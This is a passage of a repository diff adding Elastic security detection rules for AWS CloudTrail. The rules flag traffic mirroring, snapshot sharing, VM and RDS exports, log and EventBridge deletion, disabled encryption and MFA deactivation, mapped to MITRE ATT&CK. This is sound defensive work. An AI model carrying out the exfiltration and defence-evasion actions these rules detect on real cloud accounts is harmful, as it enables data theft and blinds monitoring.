+interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Full Network Packet Capture Detected" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_TrafficMirrorFilter.html", + "https://github.com/easttimor/aws-incident-response", +] +risk_score = 47 +rule_id = "c1812764-0788-470f-8e74-eb4a14d47573" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Network Security"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and +event.action:(CreateTrafficMirrorFilter or CreateTrafficMirrorFilterRule or CreateTrafficMirrorSession or CreateTrafficMirrorTarget) and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1020/" +name = "Automated Exfiltration" +id = "T1020" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0010/" +name = "Exfiltration" +id = "TA0010" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1074/" +name = "Data Staged" +id = "T1074" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0009/" +name = "Collection" +id = "TA0009" diff --git a/rules/integrations/aws/exfiltration_ec2_snapshot_change_activity.toml b/rules/integrations/aws/exfiltration_ec2_snapshot_change_activity.toml new file mode 100644 index 000000000..2ab12f44b --- /dev/null +++ b/rules/integrations/aws/exfiltration_ec2_snapshot_change_activity.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/06/24" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +An attempt was made to modify AWS EC2 snapshot attributes. Snapshots are sometimes shared by threat actors in order to +exfiltrate bulk data from an EC2 fleet. If the permissions were modified, verify the snapshot was not shared with an +unauthorized or unexpected AWS account. +""" +false_positives = [ + """ + IAM users may occasionally share EC2 snapshots with another AWS account belonging to the same organization. If known + behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Snapshot Activity" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/modify-snapshot-attribute.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html", +] +risk_score = 47 +rule_id = "98fd7407-0bd5-5817-cda0-3fcc33113a56" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:ModifySnapshotAttribute +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1537" +name = "Transfer Data to Cloud Account" +reference = "https://attack.mitre.org/techniques/T1537/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/aws/exfiltration_ec2_vm_export_failure.toml b/rules/integrations/aws/exfiltration_ec2_vm_export_failure.toml new file mode 100644 index 000000000..cab193e64 --- /dev/null +++ b/rules/integrations/aws/exfiltration_ec2_vm_export_failure.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2021/04/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies an attempt to export an AWS EC2 instance. A virtual machine (VM) export may indicate an attempt to extract or exfiltrate information. +""" +false_positives = [ + """ + VM exports may be done by a system or network administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. VM exports from unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 VM Export Failure" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/vm-import/latest/userguide/vmexport.html#export-instance"] +risk_score = 21 +rule_id = "e919611d-6b6f-493b-8314-7ed6ac2e413b" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:CreateInstanceExportTask and event.outcome:failure +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1537/" +id = "T1537" +name = "Transfer Data to Cloud Account" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0010/" +id = "TA0010" +name = "Exfiltration" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1005/" +id = "T1005" +name = "Data from Local System" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0009/" +id = "TA0009" +name = "Collection" diff --git a/rules/integrations/aws/exfiltration_rds_snapshot_export.toml b/rules/integrations/aws/exfiltration_rds_snapshot_export.toml new file mode 100644 index 000000000..16f081725 --- /dev/null +++ b/rules/integrations/aws/exfiltration_rds_snapshot_export.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2021/06/06" +maturity = "production" +updated_date = "2021/09/30" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies the export of an Amazon Relational Database Service (RDS) Aurora database snapshot." +false_positives = [ + """ + Exporting snapshots may be done by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Snapshot exports from unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Snapshot Export" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StartExportTask.html"] +risk_score = 21 +rule_id = "119c8877-8613-416d-a98a-96b6664ee73a" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:StartExportTask and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +name = "Exfiltration" +id = "TA0010" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/aws/exfiltration_rds_snapshot_restored.toml b/rules/integrations/aws/exfiltration_rds_snapshot_restored.toml new file mode 100644 index 000000000..6e054b5d5 --- /dev/null +++ b/rules/integrations/aws/exfiltration_rds_snapshot_restored.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/06/29" +maturity = "production" +updated_date = "2021/10/15" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when an attempt was made to restore an RDS Snapshot. Snapshots are sometimes shared by threat actors in order to +exfiltrate bulk data. If the permissions were modified, verify if the snapshot was shared with an +unauthorized or unexpected AWS account. +""" +false_positives = [ + """ + Restoring snapshots may be done by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Snapshot restoration by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Snapshot Restored" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_RestoreDBInstanceFromDBSnapshot.html", + "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/rds__explore_snapshots/main.py", +] +risk_score = 47 +rule_id = "bf1073bf-ce26-4607-b405-ba1ed8e9e204" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:RestoreDBInstanceFromDBSnapshot and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/aws/impact_aws_eventbridge_rule_disabled_or_deleted.toml b/rules/integrations/aws/impact_aws_eventbridge_rule_disabled_or_deleted.toml new file mode 100644 index 000000000..5be201c92 --- /dev/null +++ b/rules/integrations/aws/impact_aws_eventbridge_rule_disabled_or_deleted.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/10/17" +maturity = "production" +updated_date = "2021/10/17" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Identifies when a user has disabled or deleted an EventBridge rule. This activity can result in an unintended loss of +visibility in applications or a break in the flow with other AWS services. +""" +false_positives = [ + """ + EventBridge Rules could be deleted or disabled by a system administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. EventBridge Rules being deleted or disabled by unfamiliar users should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-20m" +index = ["filebeat-*", "logs-aws*"] +language = "kuery" +license = "Elastic License v2" +name = "AWS EventBridge Rule Disabled or Deleted" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DeleteRule.html", + "https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_DisableRule.html", +] +risk_score = 21 +rule_id = "87594192-4539-4bc4-8543-23bc3d5bd2b4" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + + +query = ''' +event.dataset:aws.cloudtrail and event.provider:eventbridge.amazonaws.com and event.action:(DeleteRule or DisableRule) and +event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" diff --git a/rules/integrations/aws/impact_cloudtrail_logging_updated.toml b/rules/integrations/aws/impact_cloudtrail_logging_updated.toml new file mode 100644 index 000000000..3ec2baff2 --- /dev/null +++ b/rules/integrations/aws/impact_cloudtrail_logging_updated.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2020/06/10" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies an update to an AWS log trail setting that specifies the delivery of log files." +false_positives = [ + """ + Trail updates may be made by a system or network administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Trail updates from unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudTrail Log Updated" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_UpdateTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html", +] +risk_score = 21 +rule_id = "3e002465-876f-4f04-b016-84ef48ce7e5d" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:UpdateTrail and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1565" +name = "Data Manipulation" +reference = "https://attack.mitre.org/techniques/T1565/" +[[rule.threat.technique.subtechnique]] +id = "T1565.001" +name = "Stored Data Manipulation" +reference = "https://attack.mitre.org/techniques/T1565/001/" + + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1530" +name = "Data from Cloud Storage Object" +reference = "https://attack.mitre.org/techniques/T1530/" + + +[rule.threat.tactic] +id = "TA0009" +name = "Collection" +reference = "https://attack.mitre.org/tactics/TA0009/" + diff --git a/rules/integrations/aws/impact_cloudwatch_log_group_deletion.toml b/rules/integrations/aws/impact_cloudwatch_log_group_deletion.toml new file mode 100644 index 000000000..ce21a7a46 --- /dev/null +++ b/rules/integrations/aws/impact_cloudwatch_log_group_deletion.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2020/05/18" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a specified AWS CloudWatch log group. When a log group is deleted, all the archived log +events associated with the log group are also permanently deleted. +""" +false_positives = [ + """ + Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Log + group deletions by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, + it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudWatch Log Group Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html", + "https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html", +] +risk_score = 47 +rule_id = "68a7a5a5-a2fc-4a76-ba9f-26849de881b4" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:logs.amazonaws.com and event.action:DeleteLogGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/impact_cloudwatch_log_stream_deletion.toml b/rules/integrations/aws/impact_cloudwatch_log_stream_deletion.toml new file mode 100644 index 000000000..3d291e55d --- /dev/null +++ b/rules/integrations/aws/impact_cloudwatch_log_stream_deletion.toml @@ -0,0 +1,74 @@ +[metadata] +creation_date = "2020/05/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an AWS CloudWatch log stream, which permanently deletes all associated archived log events +with the stream. +""" +false_positives = [ + """ + A log stream may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname + should be making changes in your environment. Log stream deletions by unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS CloudWatch Log Stream Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html", + "https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html", +] +risk_score = 47 +rule_id = "d624f0ae-3dd1-4856-9aad-ccfe4d4bfa17" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:logs.amazonaws.com and event.action:DeleteLogStream and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/aws/impact_ec2_disable_ebs_encryption.toml b/rules/integrations/aws/impact_ec2_disable_ebs_encryption.toml new file mode 100644 index 000000000..868f893eb --- /dev/null +++ b/rules/integrations/aws/impact_ec2_disable_ebs_encryption.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/06/05" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default in the current region. Disabling +encryption by default does not change the encryption status of your existing volumes. +""" +false_positives = [ + """ + Disabling encryption may be done by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. Disabling encryption by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EC2 Encryption Disabled" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html", + "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html", +] +risk_score = 47 +rule_id = "bb9b13b2-1700-48a8-a750-b43b0a72ab69" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Data Protection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1565" +name = "Data Manipulation" +reference = "https://attack.mitre.org/techniques/T1565/" +[[rule.threat.technique.subtechnique]] +id = "T1565.001" +name = "Stored Data Manipulation" +reference = "https://attack.mitre.org/techniques/T1565/001/" + + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/aws/impact_efs_filesystem_or_mount_deleted.toml b/rules/integrations/aws/impact_efs_filesystem_or_mount_deleted.toml new file mode 100644 index 000000000..3f480a119 --- /dev/null +++ b/rules/integrations/aws/impact_efs_filesystem_or_mount_deleted.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/08/27" +maturity = "production" +updated_date = "2022/02/28" +integration = "aws" + +[rule] +author = ["Austin Songer"] +description = """ +Detects when an EFS File System or Mount is deleted. An adversary could break any file system using the mount target that +is being deleted, which might disrupt instances or applications using those mounts. The mount must be deleted prior to +deleting the File System, or the adversary will be unable to delete the File System. +""" +false_positives = [ + """ + File System or Mount being deleted may be performed by a system administrator. Verify whether the user identity, + user agent, and/or hostname should be making changes in your environment. File System Mount deletion by unfamiliar + users should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS EFS File System or Mount Deleted" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteFileSystem.html", + "https://docs.aws.amazon.com/efs/latest/ug/API_DeleteMountTarget.html", +] +risk_score = 47 +rule_id = "536997f7-ae73-447d-a12d-bff1e8f5f0a0" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Data Protection"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:elasticfilesystem.amazonaws.com and +event.action:(DeleteMountTarget or DeleteFileSystem) and event.outcome:success +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/aws/impact_iam_deactivate_mfa_device.toml b/rules/integrations/aws/impact_iam_deactivate_mfa_device.toml new file mode 100644 index 000000000..d49e57544 --- /dev/null +++ b/rules/integrations/aws/impact_iam_deactivate_mfa_device.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/05/26" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the deactivation of a specified multi-factor authentication (MFA) device and removes it from association with +the user name for which it was originally enabled. In AWS Identity and Access Management (IAM), a device must be +deactivated before it can be deleted. +""" +false_positives = [ + """ + A MFA device may be deactivated by a system or network administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. MFA device deactivations from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Deactivation of MFA Device" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/deactivate-mfa-device.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeactivateMFADevice.html", +] +risk_score = 47 +rule_id = "d8fc1cca-93ed-43c1-bbb6-c0dd3eff2958" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:(DeactivateMFADevice or DeleteVirtualMFADevice) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" diff --git a/rules/integrations/aws/impact_iam_group_deletion.toml b/rules/integrations/aws/impact_iam_group_deletion.toml new file mode 100644 index 000000000..6b409506d --- /dev/null +++ b/rules/integrations/aws/impact_iam_group_deletion.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of a specified AWS Identity and Access Management (IAM) resource group. Deleting a resource +group does not delete resources that are members of the group; it only deletes the group structure. +""" +false_positives = [ + """ + A resource group may be deleted by a system administrator. Verify whether the user identity, user agent, and/or + hostname should be making changes in your environment. Resource group deletions by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS IAM Group Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/delete-group.html", + "https://docs.aws.amazon.com/IAM/latest/APIReference/API_DeleteGroup.html", +] +risk_score = 21 +rule_id = "867616ec-41e5-4edc-ada2-ab13ab45de8a" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:iam.amazonaws.com and event.action:DeleteGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/aws/impact_rds_cluster_deletion.toml b/rules/integrations/aws/impact_rds_cluster_deletion.toml new file mode 100644 index 000000000..840fa8b91 --- /dev/null +++ b/rules/integrations/aws/impact_rds_cluster_deletion.toml @@ -0,0 +1,59 @@ +[metadata] +creation_date = "2020/05/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an Amazon Relational Database Service (RDS) Aurora database cluster or global database +cluster. +""" +false_positives = [ + """ + Clusters may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname + should be making changes in your environment. Cluster deletions by unfamiliar users or hosts should be + investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Cluster Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/delete-db-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBCluster.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/delete-global-cluster.html", + "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteGlobalCluster.html", +] +risk_score = 47 +rule_id = "9055ece6-2689-4224-a0e0-b04881e1f8ad" +severity = "medium" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Asset Visibility"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(DeleteDBCluster or DeleteGlobalCluster) and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/aws/impact_rds_group_deletion.toml b/rules/integrations/aws/impact_rds_group_deletion.toml new file mode 100644 index 000000000..8d26ba224 --- /dev/null +++ b/rules/integrations/aws/impact_rds_group_deletion.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/06/05" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic", "Austin Songer"] +description = "Identifies the deletion of an Amazon Relational Database Service (RDS) Security group." +false_positives = [ + """ + An RDS security group deletion may be done by a system or network administrator. Verify whether the user identity, + user agent, and/or hostname should be making changes in your environment. Security group deletions by unfamiliar + users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the + rule. + """, +] +from = "now-60m" +index = ["filebeat-*", "logs-aws*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "AWS RDS Security Group Deletion" +note = """## Config + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSecurityGroup.html"] +risk_score = 21 +rule_id = "863cdf31-7fd3-41cf-a185-681237ea277b" +severity = "low" +tags = ["Elastic", "Cloud", "AWS", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" diff --git a/rules/integrations/aws/impact_rds_instance_cluster_stoppage.toml b/rules/integrations/aws/impact_rds_instance_cluster_stoppage.toml new file mode 100644 index 000000000..f6c851a97 --- /dev/null +++ b/rules/integrations/aws/impact_rds_instance_cluster_stoppage.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/05/20" +maturity = "production" +updated_date = "2021/07/20" +integration = "aws" + +[rule] +author = ["Elastic"] +description = "Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped." +false_positives = [ + """ + Valid clusters or instances may be stopped by a system administrator. Verify whether the user identity, user agent, + and/or hostname should be making changes in your environment. 